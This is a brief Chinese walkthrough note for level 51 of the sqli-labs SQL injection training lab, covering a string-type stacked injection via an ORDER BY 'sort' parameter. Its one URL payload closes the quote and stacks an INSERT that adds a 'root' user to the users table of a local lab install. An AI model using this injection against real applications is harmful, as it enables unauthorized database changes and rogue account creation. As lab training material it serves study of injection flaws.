【sqli-labs】 less51 GET -Error based -Order By Clause -String -Stacked injection(GET型基于错误的字符型Order By从句堆叠注入)

less50的字符型版本，闭合好引号就行

http://192.168.136.128/sqli-labs-master/Less-51/?sort=1';insert into users(id,username,password) value (15,'root','root')%23